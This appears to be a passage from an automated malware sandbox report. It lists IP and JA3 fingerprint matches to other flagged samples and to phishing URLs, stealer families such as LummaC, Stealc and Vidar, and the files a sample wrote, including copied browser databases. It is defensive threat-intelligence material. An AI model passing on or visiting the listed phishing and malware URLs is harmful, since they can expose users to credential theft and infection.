	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://digitalplatform-admin-p.azurewebsites.net/external-link/?targetURL=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS5d7c8770636a4f3fd2ed2ec05584079425wDnNeW8yycT&sa=t&esrc=nNeW8F5d7c8770636a4f3fd2ed2ec05584079425A0xys8Em2FL&source=&cd=tS6T85d7c8770636a4f3fd2ed2ec05584079425Tiw9XH&cad=XpPkDfJX5d7c8770636a4f3fd2ed2ec05584079425VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fbyda.ng%2Fcig.bin%2Fgoin%2F%23c2VjcmV0YXJpYXRAcGVvLm9uLmNh	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.253.45
	byte.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	104.41.171.166
	byte.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	20.202.141.49
CLOUDFLARENETUS	c54f4c04-95c8-e3ea-7c13-45cbc3ee9b45.eml	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC Stealer, Stealc	Browse	104.21.5.155
	https://truckstop.one/as/authorize?client_id=7a99fb37-0cbd-4526-a557-bd283b9e9cf4&redirect_uri=https%253a%252f%252fapp.truckstop.com%252flanding%252fpingexternallogincallback&response_type=code%2520id_token%2520token&state=openidconnect.authenticationproperties%253dd1azkrievou5xvfp-qj6lz4lvhnji_zurlus4dg4kpfyaz8_l_zh9eagafd4qs-4bp_xmv_gxhfi9cicmwuipdyvxvvyerzotaovt3vtqf9ajzj3wmqtyitt_jeovipdmigoy5j_5dpehnbhcu93ulmdxyuni7lptn61kjfj7vt78qwvlvinfcjk1ngsl46tbysxh2azfm_i1dlik1uodaqthlvy6gtmnpueowutlftvhwsb7ejrpju0ggwa6pbfqx5adq&response_mode=form_post&nonce=638448261415283047.mdq2yjfinjytmwrjyi00ote4lwi3yjitodyzytm5ymu3mdbmotkxmzeyzdmtmzm5nc00yzq2lthlnjktmdvindc5njg3owjk&x-client-sku=id_net461&x-client-ver=7.0.1.0	Get hash	malicious	Unknown	Browse	188.114.97.3
	ZF3dxapdNLa4lNL.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	d01SFZW0Tt.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	http://eon.keit.re.kr/WEOMTRACK.html?CPKN=O&CPSQ=88327186&CPSC=0&CPID=16122900000005&CPMEM=MTAwMDkwODg%3D&CLID=006&CLKN=CL&CPCED=20171231&DRTMF=5&DRTMT=60&URL=https://form.jotform.com/243104959551055	Get hash	malicious	Unknown	Browse	104.22.72.81
	http://ebook-hunter.org	Get hash	malicious	Unknown	Browse	188.114.96.3
	Copia pendiente de pago Proveedor 107924.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	PO#7372732993039398372372973928392832973PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://portafirmas.metromadrid.net/	Get hash	malicious	Unknown	Browse	173.222.162.64
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	173.222.162.64
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	173.222.162.64
	j0mvnOAe.htm	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	173.222.162.64
	https://support-facebook.kb.help/your-facebook-account-has-been-restricted/	Get hash	malicious	Unknown	Browse	173.222.162.64
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	173.222.162.64
	https://www.value-account.eu/ssoportal/pam/activatePassword.do?id=cmVpbmhhcmQuaGV5bjowMTM2Mzc%3D	Get hash	malicious	Unknown	Browse	173.222.162.64
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	173.222.162.64
	https://fr2.readytocheckline.com/t2kf4F?ds=https://www.msnoob.com	Get hash	malicious	Unknown	Browse	173.222.162.64
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	173.222.162.64
28a2c9bd18a11de089ef85a160da29e4	https://truckstop.one/as/authorize?client_id=7a99fb37-0cbd-4526-a557-bd283b9e9cf4&redirect_uri=https%253a%252f%252fapp.truckstop.com%252flanding%252fpingexternallogincallback&response_type=code%2520id_token%2520token&state=openidconnect.authenticationproperties%253dd1azkrievou5xvfp-qj6lz4lvhnji_zurlus4dg4kpfyaz8_l_zh9eagafd4qs-4bp_xmv_gxhfi9cicmwuipdyvxvvyerzotaovt3vtqf9ajzj3wmqtyitt_jeovipdmigoy5j_5dpehnbhcu93ulmdxyuni7lptn61kjfj7vt78qwvlvinfcjk1ngsl46tbysxh2azfm_i1dlik1uodaqthlvy6gtmnpueowutlftvhwsb7ejrpju0ggwa6pbfqx5adq&response_mode=form_post&nonce=638448261415283047.mdq2yjfinjytmwrjyi00ote4lwi3yjitodyzytm5ymu3mdbmotkxmzeyzdmtmzm5nc00yzq2lthlnjktmdvindc5njg3owjk&x-client-sku=id_net461&x-client-ver=7.0.1.0	Get hash	malicious	Unknown	Browse	4.245.163.56 20.190.160.14 184.28.90.27 13.107.246.45
	http://eon.keit.re.kr/WEOMTRACK.html?CPKN=O&CPSQ=88327186&CPSC=0&CPID=16122900000005&CPMEM=MTAwMDkwODg%3D&CLID=006&CLKN=CL&CPCED=20171231&DRTMF=5&DRTMT=60&URL=https://form.jotform.com/243104959551055	Get hash	malicious	Unknown	Browse	4.245.163.56 20.190.160.14 184.28.90.27 13.107.246.45
	http://ebook-hunter.org	Get hash	malicious	Unknown	Browse	4.245.163.56 20.190.160.14 184.28.90.27 13.107.246.45
	https://portafirmas.metromadrid.net/	Get hash	malicious	Unknown	Browse	4.245.163.56 20.190.160.14 184.28.90.27 13.107.246.45
	https://na4.docusign.net/Signing/EmailStart.aspx?a=a75955bb-ccaf-419a-9483-49fe310a8974&etti=24&acct=ce0e0cd4-242c-4805-a3f4-0e57a0f583aa&er=7be52e6a-f80a-4689-839e-dc8f9fb3538b	Get hash	malicious	Unknown	Browse	4.245.163.56 20.190.160.14 184.28.90.27 13.107.246.45
	https://airtable.com/appghQwrDrrrgLn7v/shrt3wUeRvHDcMT9u	Get hash	malicious	Unknown	Browse	4.245.163.56 20.190.160.14 184.28.90.27 13.107.246.45
	https://eu.docworkspace.com/d/sIGWvrvOeAYXvpLkG	Get hash	malicious	Unknown	Browse	4.245.163.56 20.190.160.14 184.28.90.27 13.107.246.45
	https://login-zendesk-account.servz.com.pk	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 20.190.160.14 184.28.90.27 13.107.246.45
	DsQEFiMzra.exe	Get hash	malicious	GhostRat, Nitol	Browse	4.245.163.56 20.190.160.14 184.28.90.27 13.107.246.45
	https://login-zendesk-account.servz.com.pk	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 20.190.160.14 184.28.90.27 13.107.246.45
3b5074b1b5d032e5620f69f9f700ff0e	batterygetbackwithgoodmovemententirelovegoodforrealitytogetmeack.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	40.115.3.253
	seethebestpartentirelifewithmygirlfriendonentirelifethings.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot, Strela Stealer	Browse	40.115.3.253
	http://eon.keit.re.kr/WEOMTRACK.html?CPKN=O&CPSQ=88327186&CPSC=0&CPID=16122900000005&CPMEM=MTAwMDkwODg%3D&CLID=006&CLKN=CL&CPCED=20171231&DRTMF=5&DRTMT=60&URL=https://form.jotform.com/243104959551055	Get hash	malicious	Unknown	Browse	40.115.3.253
	Copia pendiente de pago Proveedor 107924.exe	Get hash	malicious	AgentTesla	Browse	40.115.3.253
	PO#7372732993039398372372973928392832973PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	40.115.3.253
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	40.115.3.253
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	40.115.3.253
	G72Zpzru1g.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	40.115.3.253
	Vakhdevi Resume 2024.js	Get hash	malicious	GookitLoader	Browse	40.115.3.253
	Vakhdevi Resume 2024.js	Get hash	malicious	GookitLoader	Browse	40.115.3.253

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	HLTXqY2TH1.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, HTMLPhisher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Remcos, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse
	g7TubE2bYo.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	lIocM276SA.exe	Get hash	malicious	Remcos, Amadey, LummaC Stealer, Stealc, WhiteSnake Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, HTMLPhisher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Remcos, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse
	g7TubE2bYo.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CBGCBGCAFIIECBFIDHIJ

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EBAKKFHJDBKKEBFHDAAE

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAFHIIJJECGDHIEGDAKKKKFBF

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCAKFCGC

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJKEHJJDAAKFHIDAKFHCBFCFB

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCFIIEBK

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2680152139298722
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMpSA1LyKOMq+8iP5GDHP/0jMVumM:Kq+n0Jp91LyKOMq+8iP5GLP/0d
MD5:	AD3FF73C0FD6229A07648483E788D2B0
SHA1:	A342FC9941C07A8AE9FAC22E3F807FEFBB8FE9A9
SHA-256:	E71A5B61BB13B91589B76FA068255E76082806D538B8FF67B14D33F8BC770247
SHA-512:	626437DA63CAA2F09A2E014EDA3421991A6766DA1CA62C20977E2ED1A77F6215E70BC587E90CF68C6F30178D3EA2971172F550E6324710B105F079845D148FBF
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDGHJEBFBFHIIECAECGH

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_vMRlWtVCEN.exe_d4313476f951362bfdbd4664e3ab6a0eb24869_540df7d1_705ce77b-1413-468f-9019-1a725c34101d\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0609246156287064
Encrypted:	false
SSDEEP:	192:A5hRO0zW6rjucZrP2ECHzuiFTZ24IO8Lz:aR1zW6rjNUHzuiFTY4IO8Lz
MD5:	35E2682506ABF92BB24C9B71AAFA94E6
SHA1:	B8E0ADB359A5B69769B3662884F0962749998909
SHA-256:	81E8034FAF84C0A8B4183D26C8DDB36FD5B539F1CB331E64BBE0E8D4E83A7C7C
SHA-512:	E3B88572108C4B6C608FBF399E05BAE9F1C472464F4A5374D2725B055F34E5FA49C04B9F72F7F746293D847D27294B4BF60A700A923E20A9A8491AB6240FB9AF
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.4.7.0.3.5.5.4.4.7.7.2.8.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.4.7.0.3.5.6.0.1.0.2.3.0.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.0.5.c.e.7.7.b.-.1.4.1.3.-.4.6.8.f.-.9.0.1.9.-.1.a.7.2.5.c.3.4.1.0.1.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.e.1.0.3.d.8.8.-.a.a.b.f.-.4.6.6.1.-.b.9.4.c.-.c.6.1.4.f.4.5.b.5.c.2.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.v.M.R.l.W.t.V.C.E.N...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.f.8.-.0.0.0.1.-.0.0.1.5.-.c.6.c.7.-.8.b.9.a.3.1.3.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.4.c.9.b.1.f.4.f.3.5.3.d.d.5.8.0.4.0.9.3.3.5.1.4.1.b.e.a.f.3.b.0.0.0.0.f.f.f.f.!.0.0.0.0.a.3.9.5.8.d.1.e.e.d.e.0.2.1.9.2.d.8.3.e.0.a.0.b.9.a.b.a.a.f.c.4.e.9.e.e.0.0.b.2.!.v.M.R.l.W.t.V.C.E.N...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC345.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Nov 7 16:25:55 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	53854
Entropy (8bit):	2.514893365011036
Encrypted:	false
SSDEEP:	192:Gu0QXfUnKXG8X1L4OIOJw/wIaEVkaXUtKLqtUAsPWY6V4jPmp187rywwrSpEP9:/Unq9IEgwIaEVkaXKUZxjjl/yjwE
MD5:	1DEFDA4B1208D351B24ADAC533AABC20
SHA1:	7CAB3E5861625B78BD836BA96C72091BE5D7D487
SHA-256:	7F599D0E3253590FB92B1B297737DFCFB58D1507FCF93B48E7BC530DBF3AAF8E
SHA-512:	9D5EA7FAFEA52CEAE4B8A705FCF3B8F92EC20068C4A1A54C74C0F1DE61A55122FE19C3B321EA05C3F26AE8A67CBCDB2993924C6143FB8CD4177F7E64ABA09CA9
Malicious:	false
Preview:	MDMP..a..... .........,g............4...............<............2..........T.......8...........T............Y...x...........#...........%..............................................................................eJ.......%......GenuineIntel............T.............,g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC450.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8344
Entropy (8bit):	3.7005022772253175
Encrypted:	false
SSDEEP:	192:R6l7wVeJ5t696Y2D+SUKqbgmf0NepDH89bBUsfnLm:R6lXJD696YTSUKmgmfCbBHfi
MD5:	F80979963CE2D60D4EEA52E6F3E44304
SHA1:	2C61992AE95FF3185190A8EA077566C5D483FBE2
SHA-256:	1C0D37BA21BA56DA502F932A4A7DD56CFD53C6AF670AD531B0EF369A6CD3BF95
SHA-512:	15A5D847CDCDB729544DA0586C706E530D1E173CE11C94413A9EE4D0C41C580AF422D588B8AA01AEDD50A3356DFD56BF26A39530A65EB0B03AA1C2E78D1780CE
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.6.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC48F.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.474670291556597
Encrypted:	false
SSDEEP:	48:cvIwWl8zslJg77aI9KVWpW8VYiYm8M4JYDFYR+q8ICQRKzKed:uIjf/I78k7V2JzwjOed
MD5:	7F7BA3A1B10BDCF4013CD369CC5B05E5
SHA1:	F83F4DC0B58D770947161B1A4E0161B0D7625C7B
SHA-256:	D70586835A170D084640CA56E047390181C8B26339E33988EF21D7C481D79FEB
SHA-512:	4F8FF6D86C5FFD58668D595EBB086FD47512077C1DE6A0CA8C403755EBE2E38D18C1B454470500654CBDCBEA4D0E41CED5D7530CA369C463BDBC6AC6D9B730B5
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="577888" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: lIocM276SA.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: g7TubE2bYo.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
